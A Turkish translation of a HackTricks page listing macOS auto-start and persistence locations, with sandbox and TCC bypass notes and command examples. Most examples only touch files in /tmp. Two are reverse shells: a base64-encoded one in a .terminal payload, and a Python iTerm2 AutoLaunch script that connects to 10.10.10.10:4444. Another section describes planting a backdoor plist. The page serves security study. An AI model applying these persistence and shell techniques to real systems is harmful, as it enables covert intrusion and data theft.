macOS Auto Start

HackTricks'i Destekleyin

Bu bölüm, Beyond the good ol' LaunchAgents blog serisine dayanmaktadır, amacı Daha Fazla Otomatik Başlatma Konumu eklemek (mümkünse), günümüz macOS sürümü (13.4) ile hala çalışan hangi tekniklerin olduğunu belirtmek ve gerekli olan izinleri belirtmektir.

Kum Havuzu Atlatma

Burada, kum havuzu atlatma için yararlı olan başlatma konumlarını bulabilirsiniz, bu size bir dosyaya yazarak ve çok yaygın bir eylemi, belirli bir zaman miktarını veya genellikle bir kum havuzu içinden kök izinler gerekmeden gerçekleştirebileceğiniz bir eylemi bekleyerek basitçe yürütmenizi sağlar.

Launchd

  • Kum havuzu atlatma için kullanışlı:

  • TCC Atlatma: 🔴

Konumlar

  • /Library/LaunchAgents

  • Tetikleyici: Yeniden başlatma

  • Kök izni gereklidir

  • /Library/LaunchDaemons

  • Tetikleyici: Yeniden başlatma

  • Kök izni gereklidir

  • /System/Library/LaunchAgents

  • Tetikleyici: Yeniden başlatma

  • Kök izni gereklidir

  • /System/Library/LaunchDaemons

  • Tetikleyici: Yeniden başlatma

  • Kök izni gereklidir

  • ~/Library/LaunchAgents

  • Tetikleyici: Yeniden oturum açma

  • ~/Library/LaunchDemons

  • Tetikleyici: Yeniden oturum açma

İlginç bir gerçek olarak, launchd'nin, başlatması gereken diğer iyi bilinen hizmetleri içeren bir Mach-o bölümü olan __Text.__config içinde gömülü bir özellik listesi vardır. Ayrıca, bu hizmetler RequireSuccess, RequireRun ve RebootOnSuccess içerebilir ki bu da onların çalıştırılması ve başarılı bir şekilde tamamlanması gerektiği anlamına gelir.

Tabii ki, kod imzalaması nedeniyle değiştirilemez.

Açıklama ve Sömürü

launchd, başlangıçta OX S çekirdeği tarafından çalıştırılan ilk işlem ve kapanırken sonuncusudur. Her zaman PID 1'e sahip olmalıdır. Bu işlem, ASEP plistlerinde belirtilen yapılandırmaları okuyacak ve yürütecektir:

  • /Library/LaunchAgents: Yönetici tarafından yüklenen kullanıcı başına ajanlar

  • /Library/LaunchDaemons: Yönetici tarafından yüklenen sistem genelinde hizmetler

  • /System/Library/LaunchAgents: Apple tarafından sağlanan kullanıcı başına ajanlar.

  • /System/Library/LaunchDaemons: Apple tarafından sağlanan sistem genelinde hizmetler.

Bir kullanıcı oturum açtığında, /Users/$USER/Library/LaunchAgents ve /Users/$USER/Library/LaunchDemons konumlarındaki plist'ler oturum açan kullanıcının izinleriyle başlatılır.

Ajanlar ve hizmetler arasındaki temel fark, ajanların kullanıcı oturum açtığında yüklenmesi ve hizmetlerin sistem başlatıldığında yüklenmesidir (çünkü ssh gibi hizmetlerin, herhangi bir kullanıcının sisteme erişmeden önce çalıştırılması gerektiği durumlar vardır). Ayrıca ajanlar GUI kullanabilirken, hizmetler arka planda çalışmalıdır.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.someidentifier</string>
<key>ProgramArguments</key>
<array>
<string>bash -c 'touch /tmp/launched'</string> <!--Prog to execute-->
</array>
<key>RunAtLoad</key><true/> <!--Execute at system startup-->
<key>StartInterval</key>
<integer>800</integer> <!--Execute each 800s-->
<key>KeepAlive</key>
<dict>
<key>SuccessfulExit</key></false> <!--Re-execute if exit unsuccessful-->
<!--If previous is true, then re-execute in successful exit-->
</dict>
</dict>
</plist>

Bazı durumlarda, kullanıcı oturum açmadan önce bir ajanın çalıştırılması gerekebilir, bunlara PreLoginAgents denir. Örneğin, bu, oturum açma sırasında destekleyici teknoloji sağlamak için kullanışlıdır. Bunlar ayrıca /Library/LaunchAgents dizininde de bulunabilir (bir örnek için buraya bakın).

Yeni Daemon'lar veya Ajan'ların yapılandırma dosyaları, bir sonraki yeniden başlatmadan sonra veya launchctl load <hedef.plist> kullanılarak yüklenecektir. Ayrıca, .plist uzantısız dosyaların da launchctl -F <dosya> ile yüklenebilmesi mümkündür (ancak bu plist dosyaları otomatik olarak yeniden başlatma sonrasında yüklenmeyecektir). launchctl unload <hedef.plist> ile yüklemenin geri alınması da mümkündür (bu işaret ettiği işlem sonlandırılacaktır).

Bir Ajan veya **Daemon'ın çalışmasını engelleyen bir şeyin (örneğin, bir geçersiz kılma) olmadığından emin olmak için şunu çalıştırın: sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist

Mevcut kullanıcı tarafından yüklenen tüm ajanları ve daemonları listele:

launchctl list

Eğer bir plist bir kullanıcıya aitse, hatta bir daemon sistemi genel klasörlerindeyse, görev kullanıcı olarak ve kök olarak değil yürütülecektir. Bu bazı ayrıcalık yükseltme saldırılarını önleyebilir.

launchd Hakkında Daha Fazla Bilgi

launchd, çekirdekten başlatılan ilk kullanıcı modu işlemidir. İşlem başlatması başarılı olmalı ve çıkamaz veya çökmemelidir. Bazı öldürme sinyallerine karşı bile korunmuştur.

launchd'nin yapacağı ilk şeylerden biri tüm daemonları başlatmaktır:

  • Zaman tabanlı daemonlar:

    • atd (com.apple.atrun.plist): StartInterval değeri 30 dakikadır

    • crond (com.apple.systemstats.daily.plist): Saat 00:15'te başlamak için StartCalendarInterval değerine sahiptir

  • Ağ daemonları:

    • org.cups.cups-lpd: TCP'de dinler (SockType: stream) ve SockServiceName: printer

    • SockServiceName ya bir bağlantı noktası olmalı ya da /etc/services'den bir hizmet olmalıdır

    • com.apple.xscertd.plist: Port 1640'ta TCP üzerinde dinler

  • Yol daemonları:

    • Belirtilen yol değiştiğinde yürütülen com.apple.postfix.master: /etc/postfix/aliases yolunu kontrol eder

  • IOKit bildirim daemonları:

    • com.apple.xartstorageremoted: "com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...

  • Mach port:

    • com.apple.xscertd-helper.plist: MachServices girişinde com.apple.xscertd.helper adını belirtir

  • UserEventAgent:

    • Bu öncekinden farklıdır. Belirli bir olaya yanıt olarak uygulamaları başlatmak için launchd'yi kullanır. Ancak bu durumda, ana işlem dahil olan /usr/libexec/UserEventAgent olmasına rağmen, /System/Library/UserEventPlugins/ klasöründen eklentileri yükler. Her eklenti, başlatıcısını XPCEventModuleInitializer anahtarında veya eski eklentilerin durumunda, Info.plist'nin CFPluginFactories sözlüğünde FB86416D-6164-2070-726F-70735C216EC0 anahtarının altında belirtir.

Kabuk Başlangıç Dosyaları

Açıklama: https://theevilbit.github.io/beyond/beyond_0001/ Açıklama (xterm): https://theevilbit.github.io/beyond/beyond_0018/

  • Kum havuzunu atlamak için kullanışlı:

  • TCC Atlatma:

  • Ancak bu dosyaları yükleyen bir kabuk çalıştıran bir TCC atlatma uygulaması bulmanız gerekmektedir

Konumlar

  • ~/.zshrc, ~/.zlogin, ~/.zshenv.zwc, ~/.zshenv, ~/.zprofile

    • Tetikleyici: zsh ile bir terminal aç

  • /etc/zshenv, /etc/zprofile, /etc/zshrc, /etc/zlogin

    • Tetikleyici: zsh ile bir terminal aç

    • Kök izni gereklidir

  • ~/.zlogout

    • Tetikleyici: zsh ile bir terminali kapat

  • /etc/zlogout

    • Tetikleyici: zsh ile bir terminali kapat

    • Kök izni gereklidir

  • Muhtemelen daha fazlası: man zsh

  • ~/.bashrc

    • Tetikleyici: bash ile bir terminal aç

  • /etc/profile (çalışmadı)

  • ~/.profile (çalışmadı)

  • ~/.xinitrc, ~/.xserverrc, /opt/X11/etc/X11/xinit/xinitrc.d/

    • Tetikleyici: xterm ile tetiklenmesi beklenir, ancak kurulu değil ve kurulduktan sonra bile bu hata alınır: xterm: DISPLAY is not set

Açıklama ve Sömürü

zsh veya bash gibi bir kabuk ortamı başlatıldığında, belirli başlangıç dosyaları çalıştırılır. macOS şu anda varsayılan kabuk olarak /bin/zsh'yi kullanmaktadır. Bu kabuk, Terminal uygulaması başlatıldığında veya bir cihaza SSH ile erişildiğinde otomatik olarak erişilir. bash ve sh de macOS'ta bulunmasına rağmen, kullanılmak için açıkça çağrılmalıdır.

Okuyabileceğimiz zsh man sayfası olan man zsh, başlangıç dosyalarının uzun açıklamasına sahiptir.

# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc

Yeniden Açılan Uygulamalar

Belirtilen açığı yapılandırmak ve oturumu kapatıp açmak veya hatta yeniden başlatmak, uygulamayı çalıştırmam için işe yaramadı. (Uygulama çalıştırılmıyordu, belki bu eylemler gerçekleştirilirken çalışır durumda olması gerekiyor)

Açıklama: https://theevilbit.github.io/beyond/beyond_0021/

  • Kum havuzunu atlamak için faydalı:

  • TCC atlatma: 🔴

Konum

  • ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

  • Tetikleyici: Uygulamaları yeniden açma işlemi

Açıklama ve Sömürü

Yeniden açılacak tüm uygulamalar, ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist içinde bulunmaktadır.

Bu nedenle, yeniden açılacak uygulamalar arasına kendi uygulamanızı eklemek için sadece uygulamanızı listeye eklemeniz yeterlidir.

UUID, bu dizini listelerken veya ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}' komutu ile bulunabilir.

Yeniden açılacak uygulamaları kontrol etmek için şunu yapabilirsiniz:

defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Bu listede bir uygulama eklemek için şunları kullanabilirsiniz:

# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Terminal Tercihleri

  • Kum havuzunu atlamak için kullanışlı:

  • TCC atlatma:

  • Terminal, kullanıcının FDA izinlerine sahip olmasını kullanır

Konum

  • ~/Library/Preferences/com.apple.Terminal.plist

  • Tetikleyici: Terminalı Aç

Açıklama ve Sömürü

~/Library/Preferences içerisinde Kullanıcı Tercihleri uygulamaların tercihlerini saklar. Bu tercihlerden bazıları diğer uygulamalar/skriptleri çalıştırmak için bir yapılandırma tutabilir.

Örneğin, Terminal Başlangıçta bir komutu çalıştırabilir:

Bu yapılandırma, ~/Library/Preferences/com.apple.Terminal.plist dosyasında şu şekilde yansıtılır:

[...]
"Window Settings" => {
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
[...]

Yani, sistemdeki terminalin tercihlerinin plist'i üzerine yazılırsa, open işlevi kullanılarak terminal açılabilir ve o komut çalıştırılabilir.

Bunu terminalden şu şekilde ekleyebilirsiniz:

# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist

# Remove
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist

Terminal Betikleri / Diğer dosya uzantıları

  • Kum havuzunu atlamak için kullanışlı:

  • TCC atlatma:

  • Terminal, kullanıcının FDA izinlerine sahip olmasını sağlamak için kullanılır

Konum

  • Herhangi bir yer

  • Tetikleyici: Terminali Aç

Açıklama ve Sömürü

Eğer bir .terminal betiği oluşturursanız ve açarsanız, Terminal uygulaması otomatik olarak çağrılacak ve içinde belirtilen komutları çalıştırmak için kullanılacaktır. Eğer Terminal uygulamasının özel ayrıcalıkları varsa (örneğin TCC), komutunuz bu özel ayrıcalıklarla çalıştırılacaktır.

Denemek için:

# Prepare the payload
cat > /tmp/test.terminal << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CommandString</key>
<string>mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
EOF

# Trigger it
open /tmp/test.terminal

# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>

Ses Eklentileri

Açıklama: https://theevilbit.github.io/beyond/beyond_0013/ Açıklama: https://posts.specterops.io/audio-unit-plug-ins-896d3434a882

  • Kum havuzunu atlamak için kullanışlı:

  • TCC atlatma: 🟠

  • Bazı ek TCC erişimine sahip olabilirsiniz

Konum

  • /Library/Audio/Plug-Ins/HAL

  • Kök erişimi gereklidir

  • Tetik: coreaudiod veya bilgisayarı yeniden başlatın

  • /Library/Audio/Plug-ins/Components

  • Kök erişimi gereklidir

  • Tetik: coreaudiod veya bilgisayarı yeniden başlatın

  • ~/Library/Audio/Plug-ins/Components

  • Tetik: coreaudiod veya bilgisayarı yeniden başlatın

  • /System/Library/Components

  • Kök erişimi gereklidir

  • Tetik: coreaudiod veya bilgisayarı yeniden başlatın

Açıklama

Önceki açıklamalara göre bazı ses eklentilerini derleyip yüklemek mümkündür.

QuickLook Eklentileri

Açıklama: https://theevilbit.github.io/beyond/beyond_0028/

  • Kum havuzunu atlamak için kullanışlı:

  • TCC atlatma: 🟠

  • Bazı ek TCC erişimine sahip olabilirsiniz

Konum

  • /System/Library/QuickLook

  • /Library/QuickLook

  • ~/Library/QuickLook

  • /Applications/AppNameHere/Contents/Library/QuickLook/

  • ~/Applications/AppNameHere/Contents/Library/QuickLook/

Açıklama ve Sömürü

QuickLook eklentileri, bir dosyanın önizlemesini tetiklediğinizde (Finder'da dosya seçiliyken boşluk çubuğuna basın) ve o dosya türünü destekleyen bir eklenti yüklü olduğunda çalıştırılabilir.

Kendi QuickLook eklentinizi derleyip, yüklemek için önceki konumlardan birine yerleştirebilir ve ardından desteklenen bir dosyaya gidip tetiklemek için boşluk tuşuna basabilirsiniz.

Giriş/Çıkış Kancaları

Bu benim için çalışmadı, ne kullanıcı GirişKancası ne de kök ÇıkışKancası ile.

Açıklama: https://theevilbit.github.io/beyond/beyond_0022/

  • Kum havuzunu atlamak için kullanışlı:

  • TCC atlatma: 🔴

Konum

  • defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh gibi bir şeyi yürütebilmelisiniz

  • ~/Library/Preferences/com.apple.loginwindow.plist içinde bulunur

Eskimiş olsalar da, bir kullanıcı oturum açtığında komutları yürütmek için kullanılabilirler.

cat > $HOME/hook.sh << EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh

Bu ayar /Users/$USER/Library/Preferences/com.apple.loginwindow.plist dosyasında saklanır.

defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
}

Silmek için:

defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook

Root kullanıcısı /private/var/root/Library/Preferences/com.apple.loginwindow.plist içinde saklanır.

Koşullu Kum Sandığı Atlatma

Burada, kum sandığı atlatma için yararlı olan başlangıç konumlarını bulabilirsiniz, bu da size basitçe bir şeyi bir dosyaya yazarak ve belirli programlar yüklü, "sıradışı" kullanıcı eylemleri veya ortamlar gibi çok yaygın olmayan koşullar beklemeksizin bir şeyi yürütmenizi sağlar.

Cron

Açıklama: https://theevilbit.github.io/beyond/beyond_0004/

  • Kum sandığını atlamak için yararlı:

  • Ancak, crontab ikilisini yürütebilmelisiniz

  • Veya root olmalısınız

  • TCC atlatma: 🔴

Konum

  • /usr/lib/cron/tabs/, /private/var/at/tabs, /private/var/at/jobs, /etc/periodic/

  • Doğrudan yazma erişimi için root gereklidir. crontab <dosya>yı yürütebiliyorsanız root gerekli değildir

  • Tetikleyici: Cron işine bağlıdır

Açıklama ve Sömürü

Mevcut kullanıcının cron işlerini listelemek için:

crontab -l

MacOS'ta, /usr/lib/cron/tabs/ ve /var/at/tabs/ dizinlerinde (root izni gerektirir) kullanıcıların tüm cron işlerini görebilirsiniz.

MacOS'ta, belirli bir sıklıkla betikleri çalıştıran birkaç klasör bulunabilir:

# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/

Burada düzenli cron işleri, at işleri (pek kullanılmaz) ve periyodik işler (genellikle geçici dosyaları temizlemek için kullanılır) bulabilirsiniz. Günlük periyodik işler örneğin şu şekilde yürütülebilir: periodic daily.

Kullanıcı cron işi programatik olarak eklemek için şu kullanılabilir:

echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron

iTerm2

Açıklama: https://theevilbit.github.io/beyond/beyond_0002/

  • Kum havuzunu atlamak için kullanışlı:

  • TCC atlatma:

  • iTerm2, TCC izinlerine sahip olmak için kullanıldı

Konumlar

  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch

  • Tetikleyici: iTerm açılınca

  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt

  • Tetikleyici: iTerm açılınca

  • ~/Library/Preferences/com.googlecode.iterm2.plist

  • Tetikleyici: iTerm açılınca

Açıklama ve Sömürü

~/Library/Application Support/iTerm2/Scripts/AutoLaunch klasöründe saklanan betikler çalıştırılacaktır. Örneğin:

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF

chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"

Dosya ~/Library/LaunchAgents/ ve ~/Library/LaunchDaemons/ içindeki dosyaları inceleyin. Bu konumlar, kullanıcı düzeyindeki otomatik başlatma girişlerini içerir.

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os

async def main(connection):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)

iterm2.run_forever(main)
EOF

Betik ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt de yürütülecektir:

do shell script "touch /tmp/iterm2-autolaunchscpt"

~/Library/Preferences/com.googlecode.iterm2.plist konumundaki iTerm2 tercihleri, iTerm2 terminali açıldığında yürütülecek bir komutu belirtebilir.

Bu ayar, iTerm2 ayarlarında yapılandırılabilir:

Ve komut tercihlere yansıtılır:

plutil -p com.googlecode.iterm2.plist
{
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"

Komutun çalıştırılacak şekilde ayarlayabilirsiniz:

# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist

# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2

# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist

İTerm2 tercihlerini kötüye kullanmak için başka yolların olması olasıdır.

xbar

Açıklama: https://theevilbit.github.io/beyond/beyond_0007/

  • Kum havuzunu atlamak için kullanışlı:

  • Ancak xbar yüklü olmalı

  • TCC atlatma:

  • Erişilebilirlik izinleri istiyor

Konum

  • ~/Library/Application\ Support/xbar/plugins/

  • Tetikleyici: xbar çalıştırıldığında

Açıklama

Eğer popüler program xbar yüklü ise, ~/Library/Application\ Support/xbar/plugins/ dizininde bir kabuk betiği yazmak mümkündür ve bu betik xbar başlatıldığında çalıştırılacaktır:

cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"

Hammerspoon

Açıklama: https://theevilbit.github.io/beyond/beyond_0008/

  • Kum havuzunu atlamak için faydalı:

  • Ancak Hammerspoon'un yüklü olması gerekir

  • TCC atlatma:

  • Erişilebilirlik izni istiyor

Konum

  • ~/.hammerspoon/init.lua

  • Tetikleyici: Hammerspoon çalıştırıldığında

Açıklama

Hammerspoon, işlemleri için LUA betik dilini kullanan macOS için bir otomasyon platformu olarak hizmet verir. Özellikle, tam AppleScript kodunun entegrasyonunu destekler ve kabuk betiklerinin yürütülmesini sağlayarak betikleme yeteneklerini önemli ölçüde artırır.

Uygulama, ~/.hammerspoon/init.lua adlı tek bir dosyayı arar ve betik başlatıldığında yürütülür.

mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
EOF

BetterTouchTool

  • Kum havuzunu atlamak için kullanışlı:

  • Ancak BetterTouchTool'un yüklü olması gerekir

  • TCC atlatma:

  • Otomasyon-Kısayolları ve Erişilebilirlik izinleri istiyor

Konum

  • ~/Library/Application Support/BetterTouchTool/*

Bu araç, bazı kısayollar basıldığında uygulamaları veya betikleri yürütmek için göstergeler sağlar. Bir saldırgan, kendi kısayolunu ve eylemini yürütmek için veritabanında yapılandırabilir ve keyfi kod yürütebilir (bir kısayol sadece bir tuşa basmak olabilir).

Alfred

  • Kum havuzunu atlamak için kullanışlı:

  • Ancak Alfred'ın yüklü olması gerekir

  • TCC atlatma:

  • Otomasyon, Erişilebilirlik ve hatta Tam Disk erişimi izinleri istiyor

Konum

  • ???

Belirli koşullar karşılandığında kod yürütebilen iş akışları oluşturmanıza olanak tanır. Bir saldırganın bir iş akışı dosyası oluşturup Alfred'ın bunu yüklemesini sağlaması potansiyel olarak mümkündür (iş akışlarını kullanmak için premium sürümü satın almak gereklidir).

SSHRC

Açıklama: https://theevilbit.github.io/beyond/beyond_0006/

  • Kum havuzunu atlamak için kullanışlı:

  • Ancak ssh etkinleştirilmiş ve kullanılmış olmalı

  • TCC atlatma:

  • SSH'nin FDA erişimine sahip olması gerekiyor

Konum

  • ~/.ssh/rc

  • Tetikleyici: ssh üzerinden oturum açma

  • /etc/ssh/sshrc

  • Root gereklidir

  • Tetikleyici: ssh üzerinden oturum açma

SSH'yi açmak için Tam Disk Erişimi gereklidir:

sudo systemsetup -setremotelogin on

Açıklama ve Sömürü

Varsayılan olarak, /etc/ssh/sshd_config dosyasında PermitUserRC no belirtilmediği sürece, bir kullanıcı SSH üzerinden giriş yaptığında /etc/ssh/sshrc ve ~/.ssh/rc betikleri çalıştırılacaktır.

Oturum Açma Öğeleri

Açıklama: https://theevilbit.github.io/beyond/beyond_0003/

  • Kum havuzunu atlamak için kullanışlı:

  • Ancak osascript'i argümanlarla çalıştırmanız gerekmektedir

  • TCC atlatma: 🔴

Konumlar

  • ~/Library/Application Support/com.apple.backgroundtaskmanagementagent

  • Tetikleyici: Oturum Açma

  • Sömürü yükü, osascript çağrılarak depolanmıştır

  • /var/db/com.apple.xpc.launchd/loginitems.501.plist

  • Tetikleyici: Oturum Açma

  • Root gereklidir

Açıklama

Sistem Tercihleri -> Kullanıcılar ve Gruplar -> Oturum Açma Öğeleri'nde, kullanıcı oturum açtığında çalıştırılacak öğeleri bulabilirsiniz. Onları komut satırından listelemek, eklemek ve kaldırmak mümkündür:

#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'

#Add an item:
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'

#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"'

Bu öğeler ~/Library/Application Support/com.apple.backgroundtaskmanagementagent dosyasında saklanır.

Giriş öğeleri ayrıca SMLoginItemSetEnabled API'sini kullanarak belirtilebilir, bu da yapılandırmayı /var/db/com.apple.xpc.launchd/loginitems.501.plist konumunda saklayacaktır.

ZIP olarak Giriş Öğesi

(Giriş Öğeleri hakkında önceki bölüme bakın, bu bir uzantıdır)

Eğer bir ZIP dosyasını bir Giriş Öğesi olarak saklarsanız, Archive Utility onu açacak ve örneğin ZIP dosyası ~/Library konumunda saklanmış ve içinde LaunchAgents/file.plist adlı bir arka kapı içeren bir klasör bulunduruyorsa (varsayılan olarak bulunmaz), o klasör oluşturulacak ve plist eklenerek bir sonraki kullanıcı tekrar oturum açtığında, plist'te belirtilen arka kapı yürütülecektir.

Başka bir seçenek, .bash_profile ve .zshenv dosyalarını kullanıcı ANA DİZİN içine oluşturmaktır, böylece LaunchAgents klasörü zaten varsa bu teknik yine de çalışacaktır.

At

Yazı: https://theevilbit.github.io/beyond/beyond_0014/

  • Kum havuzu atlamak için kullanışlı:

  • Ancak at komutunu çalıştırmanız ve etkin olması gerekir

  • TCC atlatma: 🔴

Konum

  • at komutunu çalıştırmanız ve etkin olması gerekir

Açıklama

at görevleri belirli zamanlarda yürütülmek üzere tasarlanmıştır. Cron işleri gibi, at görevleri otomatik olarak yürütmeden sonra kaldırılır. Bu görevlerin sistem yeniden başlatmaları arasında kalıcı olduğunu unutmamak önemlidir, bu da onları belirli koşullar altında potansiyel güvenlik endişeleri olarak işaretler.

Varsayılan olarak devre dışı bırakılmışlardır ancak root kullanıcısı bunları aşağıdaki komutla etkinleştirebilir:

sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist

Bu, 1 saat içinde bir dosya oluşturacak:

echo "echo 11 > /tmp/at.txt" |